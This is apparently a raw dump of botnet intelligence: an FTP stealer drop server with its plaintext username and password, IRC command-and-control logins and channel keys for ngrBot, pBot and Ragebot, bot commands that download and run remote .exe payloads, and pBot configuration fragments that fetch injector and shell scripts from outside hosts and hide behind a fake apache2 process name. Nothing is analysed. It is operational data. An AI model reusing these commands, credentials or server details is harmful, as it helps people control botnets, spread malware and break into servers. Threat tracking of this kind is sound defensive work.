FTP - Stealer - liweinternet.info

// FTP Stealer - liweinternet.info
31.214.145.148:21
user : google
pass : kb0EusIN

818857867980.psw
773817033114.psw

OWNED - ngrBot - tc.byinter.net

tc.byinter.net
46.29.248.104
NICK n{KCA}XP|USA|594839
USER 5948 "" "TsGh" :5948
:n{KCA}XP|USA|594839 MODE n{KCA}XP|USA|594839 :+iwxG
JOIN #KCA2 KCA
#KCA2 :.dwl http://www.websells.com/ngrs.exe
#KCA2 CaCa 1320706998
----
 [8:48]  (KCA) !stop
 [8:53]  (KCA) !login KCA
 [8:53]  (KCA) !dl http://www.websells.com/ayran.exe

PHP - pBot - 174.127.115.9

http://phareon.net/gringo.txt
 var $config = array("server"=>"174.127.115.9",
                     "port"=>"2525",
                     "pass"=>"",
                     "prefix"=>"RR|",
                     "maxrand"=>"8",
                     "chan"=>"#RR",
                     "chan2"=>"",
                     "key"=>"",
                     "modes"=>"+p",
                     "password"=>"pass",
                     "trigger"=>".",
                     "hostauth"=>"*" // * 

Linux - pBot - 216.245.202.52

my $injector  = "http://69.162.81.123/ipays.jpg";
my $botshell  = "http://69.162.81.123/chivas.txt";
my $botshell2  = "http://69.162.81.123/allnet.jpg";
//----------------
my $fakeproc      = "/usr/sbin/apache2 -k start"; 
my $ircserver   = "216.245.202.52";
my $ircport       = "2222";
my $nickname      = "chevaz".int(rand(100))."";
my $ident         = "tempik-scan";
my $channel       = "#derus";
my $admin        = "NkD|TeaM";
my $fullname      = "doggy style";
//----------------
 var $config = array("server"=>"216.245.202.52",
                     "port"=>"2222",
                     "pass"=>"",
                     "prefix"=>"BOTNON|",
                     "maxrand"=>"5",
                     "chan"=>"#derus",
                     "chan2"=>"#derus",
                     "key"=>"",
                     "modes"=>"+p",
                     "password"=>"on",
                     "trigger"=>"MbaHMeTz",
                     "hostauth"=>"masih.cupu.mohon.bimbingan.nya" // 

Win32 - Ragebot - 195.239.22.110

195.239.22.110 4244
NICK [nLh-VNC]phrkbv
USER wjkfr "fo3.net" "rage" :wjkfr
JOIN #v# sk
PRIVMSG #v# :
[RAGE SCAN:]
range: 89.x.x.x/90 threads.